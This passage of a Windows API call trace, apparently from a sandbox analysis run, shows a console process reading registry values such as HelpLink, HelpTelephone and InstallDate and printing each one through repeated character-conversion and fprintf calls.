_get_osfhandle (_FileHandle=1) returned 0x50 [0147.415] _errno () returned 0xc4bb0 [0147.415] GetFileType (hFile=0x50) returned 0x1 [0147.415] lstrlenW (lpString=" ") returned 4 [0147.415] GetConsoleOutputCP () returned 0x1b5 [0147.415] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.415] GetConsoleOutputCP () returned 0x1b5 [0147.415] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.415] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.415] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.415] lstrlenW (lpString="HelpLink") returned 8 [0147.415] __iob_func () returned 0x7fefd702a80 [0147.415] _fileno (_File=0x7fefd702ab0) returned 1 [0147.415] _errno () returned 0xc4bb0 [0147.415] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.415] _errno () returned 0xc4bb0 [0147.415] GetFileType (hFile=0x50) returned 0x1 [0147.416] lstrlenW (lpString="HelpLink") returned 8 [0147.416] GetConsoleOutputCP () returned 0x1b5 [0147.416] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.416] GetConsoleOutputCP () returned 0x1b5 [0147.416] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0147.416] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.416] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.416] __iob_func () returned 0x7fefd702a80 [0147.416] _fileno (_File=0x7fefd702ab0) returned 1 [0147.416] _errno () returned 0xc4bb0 [0147.416] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.416] _errno () returned 0xc4bb0 [0147.416] GetFileType (hFile=0x50) returned 0x1 [0147.416] lstrlenW (lpString=" ") returned 4 [0147.416] GetConsoleOutputCP () returned 0x1b5 [0147.416] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.416] GetConsoleOutputCP () returned 0x1b5 [0147.416] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.416] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.416] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.417] __iob_func () returned 0x7fefd702a80 [0147.417] _fileno (_File=0x7fefd702ab0) returned 1 [0147.417] _errno () returned 0xc4bb0 [0147.417] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.417] _errno () returned 0xc4bb0 [0147.417] GetFileType (hFile=0x50) returned 0x1 [0147.417] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0147.417] GetConsoleOutputCP () returned 0x1b5 [0147.417] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.417] GetConsoleOutputCP () returned 0x1b5 [0147.417] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0147.417] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.417] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.417] __iob_func () returned 0x7fefd702a80 [0147.417] _fileno (_File=0x7fefd702ab0) returned 1 [0147.417] _errno () returned 0xc4bb0 [0147.417] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.417] _errno () returned 0xc4bb0 [0147.417] GetFileType (hFile=0x50) returned 0x1 [0147.417] lstrlenW (lpString=" ") returned 4 [0147.417] GetConsoleOutputCP () returned 0x1b5 [0147.417] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.418] GetConsoleOutputCP () returned 0x1b5 [0147.418] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.418] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.418] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.418] __iob_func () returned 0x7fefd702a80 [0147.418] _fileno (_File=0x7fefd702ab0) returned 1 [0147.418] _errno () returned 0xc4bb0 [0147.418] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.418] _errno () returned 0xc4bb0 [0147.418] GetFileType (hFile=0x50) returned 0x1 [0147.418] lstrlenW (lpString="http://go.microsoft.com/fwlink/?LinkId=133405") returned 45 [0147.418] GetConsoleOutputCP () returned 0x1b5 [0147.418] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0147.418] GetConsoleOutputCP () returned 0x1b5 [0147.418] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://go.microsoft.com/fwlink/?LinkId=133405", lpUsedDefaultChar=0x0) returned 45 [0147.418] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 45 [0147.418] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.418] __iob_func () returned 0x7fefd702a80 [0147.418] _fileno (_File=0x7fefd702ab0) returned 1 [0147.418] _errno () returned 0xc4bb0 [0147.418] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.418] _errno () returned 0xc4bb0 [0147.418] GetFileType (hFile=0x50) returned 0x1 [0147.419] lstrlenW (lpString="\n") returned 1 [0147.419] GetConsoleOutputCP () returned 0x1b5 [0147.419] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.419] GetConsoleOutputCP () returned 0x1b5 [0147.419] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.419] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.419] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.419] GetProcessHeap () returned 0x2e0000 [0147.419] GetProcessHeap () returned 0x2e0000 [0147.419] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0147.419] GetProcessHeap () returned 0x2e0000 [0147.419] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x5e [0147.419] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0147.419] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.419] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.419] GetProcessHeap () returned 0x2e0000 [0147.419] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.419] GetProcessHeap () returned 0x2e0000 [0147.419] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.419] GetProcessHeap () returned 0x2e0000 [0147.419] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.419] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.419] __iob_func () returned 0x7fefd702a80 [0147.419] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.420] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.420] _fileno (_File=0x7fefd702ab0) returned 1 [0147.420] _errno () returned 0xc4bb0 [0147.420] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.420] _errno () returned 0xc4bb0 [0147.420] GetFileType (hFile=0x50) returned 0x1 [0147.420] lstrlenW (lpString=" ") returned 4 [0147.420] GetConsoleOutputCP () returned 0x1b5 [0147.420] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.420] GetConsoleOutputCP () returned 0x1b5 [0147.420] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.420] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.420] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.420] lstrlenW (lpString="HelpTelephone") returned 13 [0147.420] __iob_func () returned 0x7fefd702a80 [0147.420] _fileno (_File=0x7fefd702ab0) returned 1 [0147.420] _errno () returned 0xc4bb0 [0147.420] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.420] _errno () returned 0xc4bb0 [0147.420] GetFileType (hFile=0x50) returned 0x1 [0147.420] lstrlenW (lpString="HelpTelephone") returned 13 [0147.420] GetConsoleOutputCP () returned 0x1b5 [0147.420] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.420] GetConsoleOutputCP () returned 0x1b5 [0147.421] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0147.421] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.421] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.421] __iob_func () returned 0x7fefd702a80 [0147.421] _fileno (_File=0x7fefd702ab0) returned 1 [0147.421] _errno () returned 0xc4bb0 [0147.421] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.421] _errno () returned 0xc4bb0 [0147.421] GetFileType (hFile=0x50) returned 0x1 [0147.421] lstrlenW (lpString=" ") returned 4 [0147.421] GetConsoleOutputCP () returned 0x1b5 [0147.421] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.421] GetConsoleOutputCP () returned 0x1b5 [0147.421] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.421] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.421] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.421] __iob_func () returned 0x7fefd702a80 [0147.421] _fileno (_File=0x7fefd702ab0) returned 1 [0147.421] _errno () returned 0xc4bb0 [0147.421] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.421] _errno () returned 0xc4bb0 [0147.421] GetFileType (hFile=0x50) returned 0x1 [0147.421] lstrlenW (lpString="REG_SZ") returned 6 [0147.422] GetConsoleOutputCP () returned 0x1b5 [0147.422] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.422] GetConsoleOutputCP () returned 0x1b5 [0147.422] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.422] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.422] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.422] __iob_func () returned 0x7fefd702a80 [0147.422] _fileno (_File=0x7fefd702ab0) returned 1 [0147.422] _errno () returned 0xc4bb0 [0147.422] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.422] _errno () returned 0xc4bb0 [0147.422] GetFileType (hFile=0x50) returned 0x1 [0147.422] lstrlenW (lpString=" ") returned 4 [0147.422] GetConsoleOutputCP () returned 0x1b5 [0147.422] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.422] GetConsoleOutputCP () returned 0x1b5 [0147.422] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.422] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.422] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.423] __iob_func () returned 0x7fefd702a80 [0147.423] _fileno (_File=0x7fefd702ab0) returned 1 [0147.423] _errno () returned 0xc4bb0 [0147.423] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.423] _errno () returned 0xc4bb0 [0147.423] GetFileType (hFile=0x50) returned 0x1 [0147.423] lstrlenW (lpString="") returned 0 [0147.423] __iob_func () returned 0x7fefd702a80 [0147.423] _fileno (_File=0x7fefd702ab0) returned 1 [0147.423] _errno () returned 0xc4bb0 [0147.423] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.423] _errno () returned 0xc4bb0 [0147.423] GetFileType (hFile=0x50) returned 0x1 [0147.423] lstrlenW (lpString="\n") returned 1 [0147.423] GetConsoleOutputCP () returned 0x1b5 [0147.423] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.423] GetConsoleOutputCP () returned 0x1b5 [0147.423] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.423] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.423] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.423] GetProcessHeap () returned 0x2e0000 [0147.423] GetProcessHeap () returned 0x2e0000 [0147.423] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.423] GetProcessHeap () returned 0x2e0000 [0147.423] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.423] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.424] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.424] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x14) returned 0x0 [0147.424] GetProcessHeap () returned 0x2e0000 [0147.424] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x16) returned 0x2fd1a0 [0147.424] GetProcessHeap () returned 0x2e0000 [0147.424] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0147.424] GetProcessHeap () returned 0x2e0000 [0147.424] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0147.424] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd1a0, pcbData=0x23f670*=0x14 | out: pdwType=0x23f5f0*=0x1, pvData="20170712", pcbData=0x23f670*=0x12) returned 0x0 [0147.424] __iob_func () returned 0x7fefd702a80 [0147.424] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.424] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.424] _fileno (_File=0x7fefd702ab0) returned 1 [0147.424] _errno () returned 0xc4bb0 [0147.424] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.424] _errno () returned 0xc4bb0 [0147.424] GetFileType (hFile=0x50) returned 0x1 [0147.424] lstrlenW (lpString=" ") returned 4 [0147.424] GetConsoleOutputCP () returned 0x1b5 [0147.424] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.424] GetConsoleOutputCP () returned 0x1b5 [0147.424] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.424] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.424] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.424] lstrlenW (lpString="InstallDate") returned 11 [0147.424] __iob_func () returned 0x7fefd702a80 [0147.425] _fileno (_File=0x7fefd702ab0) returned 1 [0147.425] _errno () returned 0xc4bb0 [0147.425] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.425] _errno () returned 0xc4bb0 [0147.425] GetFileType (hFile=0x50) returned 0x1 [0147.425] lstrlenW (lpString="InstallDate") returned 11 [0147.425] GetConsoleOutputCP () returned 0x1b5 [0147.425] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0147.425] GetConsoleOutputCP () returned 0x1b5 [0147.425] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0147.425] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0147.425] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.425] __iob_func () returned 0x7fefd702a80 [0147.425] _fileno (_File=0x7fefd702ab0) returned 1 [0147.425] _errno () returned 0xc4bb0 [0147.425] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.425] _errno () returned 0xc4bb0 [0147.425] GetFileType (hFile=0x50) returned 0x1 [0147.425] lstrlenW (lpString=" ") returned 4 [0147.425] GetConsoleOutputCP () returned 0x1b5 [0147.425] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.425] GetConsoleOutputCP () returned 0x1b5 [0147.426] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.426] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.426] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.426] __iob_func () returned 0x7fefd702a80 [0147.426] _fileno (_File=0x7fefd702ab0) returned 1 [0147.426] _errno () returned 0xc4bb0 [0147.426] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.426] _errno () returned 0xc4bb0 [0147.426] GetFileType (hFile=0x50) returned 0x1 [0147.426] lstrlenW (lpString="REG_SZ") returned 6 [0147.426] GetConsoleOutputCP () returned 0x1b5 [0147.426] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.426] GetConsoleOutputCP () returned 0x1b5 [0147.426] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.426] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.426] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.426] __iob_func () returned 0x7fefd702a80 [0147.426] _fileno (_File=0x7fefd702ab0) returned 1 [0147.426] _errno () returned 0xc4bb0 [0147.426] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.426] _errno () returned 0xc4bb0 [0147.426] GetFileType (hFile=0x50) returned 0x1 [0147.426] lstrlenW (lpString=" ") returned 4 [0147.426] GetConsoleOutputCP () returned 0x1b5 [0147.427] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.427] GetConsoleOutputCP () returned 0x1b5 [0147.427] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.427] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.427] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.427] __iob_func () returned 0x7fefd702a80 [0147.427] _fileno (_File=0x7fefd702ab0) returned 1 [0147.427] _errno () returned 0xc4bb0 [0147.427] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.427] _errno () returned 0xc4bb0 [0147.427] GetFileType (hFile=0x50) returned 0x1 [0147.427] lstrlenW (lpString="20170712") returned 8 [0147.427] GetConsoleOutputCP () returned 0x1b5 [0147.427] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170712", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.428] GetConsoleOutputCP () returned 0x1b5 [0147.428] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170712", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170712", lpUsedDefaultChar=0x0) returned 8 [0147.428] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.428] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.428] __iob_func () returned 0x7fefd702a80 [0147.428] _fileno (_File=0x7fefd702ab0) returned 1 [0147.428] _errno () returned 0xc4bb0 [0147.428] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.428] _errno () returned 0xc4bb0 [0147.428] GetFileType (hFile=0x50) returned 0x1 